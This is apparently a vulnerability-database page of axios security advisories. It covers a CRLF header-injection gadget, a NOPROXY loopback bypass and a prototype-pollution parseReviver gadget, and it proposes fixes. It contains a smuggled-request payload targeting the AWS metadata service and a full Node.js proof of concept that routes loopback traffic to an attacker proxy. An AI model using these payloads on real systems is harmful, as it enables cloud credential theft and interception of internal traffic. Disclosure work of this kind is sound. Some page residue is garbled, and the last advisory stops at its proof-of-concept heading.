-Infinity
0

Vendor Risk Score

See how axios compares to other vendors in security performance

View Risk Score →
Severity
10
SSRF, CRLF Injection
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).

While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

Severity: Critical (CVSS 9.9) Affected Versions: All versions (v0.x - v1.x) Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities This vulnerability is unique because it requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.

Proof of Concept

1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets: javascript Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";

2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: javascript // This looks safe to the developer await axios.get('https://analytics.internal/pings');

3. The Execution Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic: http GET /pings HTTP/1.1 Host: analytics.internal x-amz-target: dummy

PUT /latest/api/token HTTP/1.1 Host: 169.254.169.254 X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1 ...

4. The Impact (IMDSv2 Bypass) The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send). The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

Impact Analysis - Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens). - Authentication Bypass: Can inject headers (Cookie, Authorization) to pivot into internal administrative panels. - Cache Poisoning: Can inject Host headers to poison shared caches.

Recommended Fix Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion: javascript // In lib/adapters/http.js utils.forEach(requestHeaders, function setRequestHeader(val, key) { if (/[\r\n]/.test(val)) { throw new Error('Security: Header value contains invalid characters'); } // ... proceed to set header });

References - OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

1 / 5
Source: GitHub
First published (updated )
Severity
10
SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

1. Executive Summary This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NOPROXY hostname resolution logic in the Axios HTTP library.

Background — The Original Vulnerability The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NOPROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NOPROXY matching entirely and be forwarded to the configured HTTP proxy — even when NOPROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NOPROXY comparison.

The Incomplete Patch — This Finding While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.

The patch introduced a hardcoded set of recognized loopback addresses:

// lib/helpers/shouldBypassProxy.js — Line 1 const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.

As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NOPROXY protection even in the fully patched Axios 1.15.0 release.

Verification This bypass has been independently verified on:

Axios version: 1.15.0 (latest patched release) Node.js version: v22.16.0 OS: Kali Linux (rolling)

The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.

2. Deep-Dive: Technical Root Cause Analysis 2.1 Vulnerable File & Location

| Field | Detail | | ------------- | ------------- | | File | lib/helpers/shouldBypassProxy.js| | Primary Flaw| isLoopback() — Line 1–3 | | Supporting Function | shouldBypassProxy() — Line 59–110 | | Axios Version | 1.15.0 (Latest Patched Release) |

2.2 How Axios Routes HTTP Requests The Call Chain When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:

// lib/adapters/http.js — Lines 191–199 function setProxy(options, configProxy, location) { let proxy = configProxy; if (!proxy && proxy !== false) { const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var if (proxyUrl) { if (!shouldBypassProxy(location)) { // Step 2: Check NOPROXY proxy = new URL(proxyUrl); // Step 3: Assign proxy } } } } shouldBypassProxy() is the single gatekeeper for NOPROXY enforcement. A bypass here means all proxy protection fails silently.

2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5) Before Axios 1.15.0, hostnames were compared against NOPROXY using a raw literal string match with no normalization:

Request URL → http://localhost./secret NOPROXY → "localhost,127.0.0.1,::1" Comparison: "localhost." === "localhost" → FALSE → Proxy used ← BYPASS "[::1]" === "::1" → FALSE → Proxy used ← BYPASS Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.

2.4 What the Patch Fixed (Axios 1.15.0) The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:

<img width="602" height="123" alt="01axiosversionverification" src="https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5" />

Fix A normalizeNoProxyHost() (Lines 47–57) Strips alternate representations before comparison:

const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; // Remove IPv6 brackets: "[::1]" → "::1" if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') { hostname = hostname.slice(1, -1); } // Strip trailing FQDN dot: "localhost." → "localhost" return hostname.replace(/\.+$/, ''); }; Fix B Cross-Loopback Equivalence (Lines 1–3 & 108) Allows 127.0.0.1 and localhost to match each other interchangeably:

const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACKADDRESSES.has(host); // Line 108 — Final match condition: return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // If both sides are "loopback" → treat as match

Fix C Normalization Applied on Both Sides (Lines 81 & 90)

// Request hostname normalized: const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase()); // Each NOPROXY entry normalized: entryHost = normalizeNoProxyHost(entryHost);

2.5 The Incomplete Patch Exact Root Cause The fundamental flaw resides in Line 1:

// lib/helpers/shouldBypassProxy.js — Line 1 ← ROOT CAUSE const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); // ^^^^^^^^^^^ // Only ONE IPv4 loopback address is recognized. // The entire 127.0.0.0/8 subnet is unaccounted for. // Line 3 — Lookup against this incomplete set: const isLoopback = (host) => LOOPBACKADDRESSES.has(host); // ^^^^^^^^^ // Returns FALSE for any 127.x.x.x ≠ 127.0.0.1 <img width="884" height="135" alt="02vulnerablecodeloopbackaddresses" src="https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e" />

RFC 1122 §3.2.1.3 is unambiguous:

"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."

This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.

<img width="884" height="537" alt="03rfc1122loopbackdefinition" src="https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0" />

2.6 Step-by-Step Bypass Execution Trace Environment:

NOPROXY = "localhost,127.0.0.1,::1" HTTPPROXY = "http://attacker-proxy:5300" Target URL = "http://127.0.0.2:9191/internal-api" Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):

// Step 1 — Parse the request URL parsed = new URL("http://127.0.0.2:9191/internal-api") hostname = "127.0.0.2" // parsed.hostname // Step 2 — Read NOPROXY environment variable noProxy = "localhost,127.0.0.1,::1" // lowercased // Step 3 — Normalize the request hostname hostname = normalizeNoProxyHost("127.0.0.2") // No brackets → skip // No trailing dot → skip // Result: "127.0.0.2" (unchanged) // Step 4 — Iterate over NOPROXY entries // Entry → "localhost" entryHost = "localhost" "127.0.0.2" === "localhost" → false isLoopback("127.0.0.2") → false ← Set.has() returns false BYPASS starts here // Entry → "127.0.0.1" entryHost = "127.0.0.1" "127.0.0.2" === "127.0.0.1" → false isLoopback("127.0.0.2") && isLoopback("127.0.0.1") → LOOPBACKADDRESSES.has("127.0.0.2") → false ← Same failure → false // Entry → "::1" entryHost = "::1" "127.0.0.2" === "::1" → false isLoopback("127.0.0.2") && isLoopback("::1") → LOOPBACKADDRESSES.has("127.0.0.2") → false ← Same failure → false // Step 5 — Final return shouldBypassProxy() → false // Axios proceeds to route the request through the configured proxy. // The attacker's proxy server receives the full request including headers // and any response from the internal service.

2.7 Why the Patch Design Is Flawed The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).

| Aspect | Original Bug | This Finding | | ------------- | ------------- | ------------- | | What was wrong | No normalization before comparison | Incomplete loopback address set| | Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded | | RFC compliance | Violated RFC 1034 & RFC 3986 | Violates RFC 1122 §3.2.1.3 | | Bypass method | Alternate string representation | Alternate valid loopback address | | Impact | NOPROXY bypass → SSRF | NOPROXY bypass → SSRF (identical) |

2.8 Total Exposed Address Space Protected by patch: 127.0.0.1 (1 address) Unprotected loopback: 127.0.0.2 through 127.255.255.254 (16,777,213 addresses) Real-world services that commonly bind to non-standard loopback addresses include:

Internal microservices and admin dashboards using dedicated loopback IPs Development environments with multiple isolated service instances Docker and container bridge network configurations Test infrastructure allocating sequential loopback IPs across services

3. Comprehensive Attack Vector & Proof of Concept

3.1 Reproduction Steps

Step 1 — Create a fresh project directory mkdir axios-bypass-test && cd axios-bypass-test Step 2 — Initialize the project with the patched Axios version Create package.json:

{ "type": "module", "dependencies": { "axios": "1.15.0" } } Install dependencies:

npm install Verify the installed version:

npm list axios Expected output: axios@1.15.0

Step 3 — Create the PoC file (poc.js)

import http from 'http'; import axios from 'axios'; // ── Simulated attacker-controlled proxy server ──────────────────────────────── const PROXYPORT = 5300; http.createServer((req, res) => { console.log('\n[!] PROXY HIT — Attacker proxy received request!'); console.log( Method : ${req.method}); console.log( URL : ${req.url}); console.log( Host : ${req.headers.host}); res.writeHead(200); res.end('proxied'); }).listen(PROXYPORT); // ── Simulated developer security configuration ──────────────────────────────── // Developer believes all loopback traffic is protected by NOPROXY. process.env.HTTPPROXY = http://127.0.0.1:${PROXYPORT}; process.env.NOPROXY = 'localhost,127.0.0.1,::1'; // ── Test helper ─────────────────────────────────────────────────────────────── async function test(url) { console.log(\n[] Testing: ${url}); try { const res = await axios.get(url, { timeout: 2000 }); if (res.data === 'proxied') { console.log(' Result → [PROXIED] ← BYPASS CONFIRMED'); } else { console.log(' Result → [DIRECT] ← Safe, no proxy used'); } } catch (err) { if (err.code === 'ECONNREFUSED') { console.log(' Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)'); } } } // ── Test execution ──────────────────────────────────────────────────────────── setTimeout(async () => { // Section A: Cases fixed by the existing patch — expected to go DIRECT console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ==='); await test('http://localhost:9191/secret'); await test('http://localhost.:9191/secret'); await test('http://[::1]:9191/secret'); // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ==='); await test('http://127.0.0.2:9191/secret'); await test('http://127.0.0.100:9191/secret'); await test('http://127.1.2.3:9191/secret'); process.exit(0); }, 500);

Step 4 — Execute the PoC

node poc.js

3.2 Observed Output The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) === [] Testing: http://localhost:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [] Testing: http://localhost.:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [] Testing: http://[::1]:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) === BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) === [] Testing: http://127.0.0.2:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.0.0.2:9191/secret Host : 127.0.0.2:9191 Result → [PROXIED] ← BYPASS CONFIRMED [] Testing: http://127.0.0.100:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.0.0.100:9191/secret Host : 127.0.0.100:9191 Result → [PROXIED] ← BYPASS CONFIRMED [] Testing: http://127.1.2.3:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.1.2.3:9191/secret Host : 127.1.2.3:9191 Result → [PROXIED] ← BYPASS CONFIRMED <img width="1621" height="739" alt="05pocexecutionbypassconfirmed" src="https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7" />

3.3 Analysis of Results The output conclusively demonstrates the following:

Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.

Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.

This confirms that the NOPROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.

4. Impact Assessment This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NOPROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.

4.1 Who Is Impacted?

Primary Target — Node.js Backend Applications Any Node.js application that meets all three of the following conditions is vulnerable:

Condition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests Condition 2: Has HTTPPROXY or HTTPSPROXY set in its environment (common in corporate networks, cloud deployments, containerised environments, and CI/CD pipelines) Condition 3: Relies on NOPROXY=localhost,127.0.0.1,::1 (or similar) to protect loopback or internal services from proxy routing Affected Deployment Environments | Environment | Risk Level | | ------------- | ------------- | | Cloud-hosted applications (AWS, GCP, Azure) | Critical| | Containerised microservices (Docker, Kubernetes) | Critical| | Corporate networks with mandatory proxy | High| | CI/CD pipelines with proxy environment variables | High| | On-premise servers with internal proxy | High|

Scale of Exposure Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.

4.3 Impact Details

Impact 1 Silent Interception of Internal Service Traffic

When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.

Developer expects: Application → 127.0.0.2:8080 (direct) Actual behaviour: Application → Attacker Proxy → 127.0.0.2:8080 The proxy receives: - Full request URL - HTTP method - All request headers (including Authorization, Cookie, API keys) - Request body (for POST/PUT requests) - Full response from the internal service The developer receives no error or warning. From the application's perspective, the request succeeds normally.

Impact 2 — SSRF Mitigation Bypass Many applications implement SSRF protections by configuring NOPROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.

SSRF Protection (as configured by developer): NOPROXY = localhost,127.0.0.1,::1 What developer believes is protected: All loopback/internal addresses What is actually protected: Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses) What remains exposed: 127.0.0.2 through 127.255.255.254 (16,777,213 addresses) An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.

Impact 3 — Cloud Metadata Service Exposure In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.

While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:

Retrieve temporary IAM credentials Access environment variables containing secrets Enumerate internal service configurations Pivot to other internal services via the compromised credentials

Impact 4 — Confidential Data Exfiltration Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:

| Internal Service Type | Exposed Data | | ------------- | ------------- | | Admin panels / dashboards | User data, configuration, logs | | Internal APIs | Business logic, database contents | | Secret managers / vaults | API keys, tokens, certificates | | Health check endpoints | Infrastructure topology | | Development services | Source code, environment variables |

Impact 5 — No Indication of Compromise A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.

4.4 Comparison with Original Vulnerability

| Internal Service Type | Exposed Data | Exposed Data | | ------------- | ------------- | ------------- | | Attack method | Use localhost. or [::1]| Use any 127.x.x.x ≠ 127.0.0.1 | | Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | | CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | | Attacker effort| Trivial | Trivial | | Detection by developer | None | None | | Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) |

The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.

5. Technical Remediation & Proposed Fix

5.1 Vulnerable Code Block

The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:

// lib/helpers/shouldBypassProxy.js — Axios 1.15.0 // Lines 1–3 (VULNERABLE) const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACKADDRESSES.has(host); This hardcoded Set is subsequently used at line 108 during the final NOPROXY match evaluation:

// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE) return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // isLoopback("127.0.0.2") → LOOPBACKADDRESSES.has("127.0.0.2") → FALSE // This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1 Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.

5.2 Proposed Patched Code Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:

// lib/helpers/shouldBypassProxy.js // Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant) const isLoopback = (host) => { // Named loopback hostname if (host === 'localhost') return true; // IPv6 loopback address if (host === '::1') return true; // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3) // Matches any address from 127.0.0.0 through 127.255.255.254 const parts = host.split('.'); return ( parts.length === 4 && parts[0] === '127' && parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255) ); }; 5.3 Diff View — Before vs After

// lib/helpers/shouldBypassProxy.js - const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); - - const isLoopback = (host) => LOOPBACKADDRESSES.has(host); + const isLoopback = (host) => { + if (host === 'localhost') return true; + if (host === '::1') return true; + const parts = host.split('.'); + return ( + parts.length === 4 && + parts[0] === '127' && + parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255) + ); + }; All other code in shouldBypassProxy.js remains unchanged. No other files require modification.

5.4 Why This Fix Must Be Applied

Reason 1 — RFC 1122 Compliance

The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.

RFC 1122 §3.2.1.3: "The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network." Current fix covers : 3 addresses (localhost, 127.0.0.1, ::1) Proposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names)

Reason 2 — The Existing Patch Has Already Failed Once

The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NOPROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.

Reason 3 — Real Operating System Behaviour On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.

Linux routing table — default configuration $ ip route show table local | grep "127" local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1 Proof: 127.0.0.2 is a valid loopback address on Linux $ ping -c 1 127.0.0.2 PING 127.0.0.2: 56 data bytes 64 bytes from 127.0.0.2: icmpseq=0 ttl=64 time=0.045 ms

<img width="711" height="181" alt="04linuxloopbacksubnetproof" src="https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2" />

Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.

<img width="588" height="198" alt="06ping127 0 0 2loopbackconfirmed" src="https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990" />

Reason 4 — The Proposed Fix Has Zero Performance Impact The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:

1. Two direct string comparisons ('localhost', '::1') — O(1) 2. A split('.') and array validation — O(1) with a fixed-length array of 4 elements The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.

Reason 5 — The Fix Is Minimal and Surgical The proposed change modifies only 3 lines of a single file. It does not alter:

The parseNoProxyEntry() function The normalizeNoProxyHost() function The shouldBypassProxy() main function logic Any other file in the codebase This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.

Reason 6 — Resilient to Alternative IP Encodings Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.

5.5 Additional Recommendation — IPv6 Loopback Range

While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:

// Additional IPv6 loopback representations to consider: '0:0:0:0:0:0:0:1' // Full notation of ::1 '::ffff:127.0.0.1' // IPv4-mapped IPv6 loopback '::ffff:7f00:1' // Hex IPv4-mapped IPv6 loopback Normalising these representations before comparison would make the NOPROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.

1 / 3
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:N

In axios before 1.7.8, lib/helpers/isURLSameOrigin.js does not use a URL object when determining an origin, and has a potentially unwanted setAttribute('href',href) call. NOTE: some parties feel that the code change only addresses a warning message from a SAST tool and does not fix a vulnerability.

First published (updated )
Severity
9.1
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because: 1. No constraints — the reviver can return any value (no "must return true" requirement) 2. Selective modification — individual JSON keys can be changed while others remain untouched 3. Invisible — the response structure and most values look completely normal 4. Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the application process | | Confidentiality | High | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured | | Integrity | High | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values | | Availability | None | No crash, no error — the attack is entirely silent |

Comparison with All Known Axios PP Gadgets

| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | parseReviver (This) | |---|---|---|---|---| | PP target | Object.prototype['header'] | Object.prototype.transformResponse | Object.prototype.proxy | Object.prototype.parseReviver | | Fixed by 1.15.0? | Yes | No | No | No | | Constraints | N/A (fixed) | Must return true | None | None | | Data modification | Header injection only | Response replaced with true | Full MITM | Selective per-key modification | | Stealth | Request anomaly visible | Response becomes true (obvious) | Proxy visible in network | Completely invisible | | Data access | Headers only | this.auth + raw response | All traffic | Every JSON key-value pair | | Validated? | N/A | assertOptions validates | Not validated | Not validated | | In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | No → bypasses mergeConfig |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { / malicious / } │ ▼ mergeConfig(defaults, userConfig) │ │ parseReviver NOT in defaults → NOT iterated by mergeConfig │ parseReviver NOT in userConfig → NOT iterated by mergeConfig │ Merged config has NO own parseReviver property │ ▼ transformData.call(config, config.transformResponse, response) │ │ Default transformResponse function runs (NOT overridden) │ ▼ defaults/index.js:124: JSON.parse(data, this.parseReviver) │ │ this = config (merged config object, plain {}) │ config.parseReviver → NOT own property → traverses prototype chain │ → finds Object.prototype.parseReviver → attacker's function! │ ▼ JSON.parse calls reviver for EVERY key-value pair │ │ Attacker can: read original value, modify it, return anything │ No validation, no constraints, no assertOptions check │ ▼ Application receives surgically modified JSON response

Why parseReviver Bypasses ALL Existing Protections

1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.

2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.

3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.

4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File: lib/defaults/index.js, line 124

javascript transformResponse: [ function transformResponse(data) { // ... transitional checks ... if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) { // ... try { return JSON.parse(data, this.parseReviver); // ^^^^^^^^^^^^^^^^^ // this = config // config.parseReviver → prototype chain → attacker's function } catch (e) { // ... } } return data; }, ],

Proof of Concept

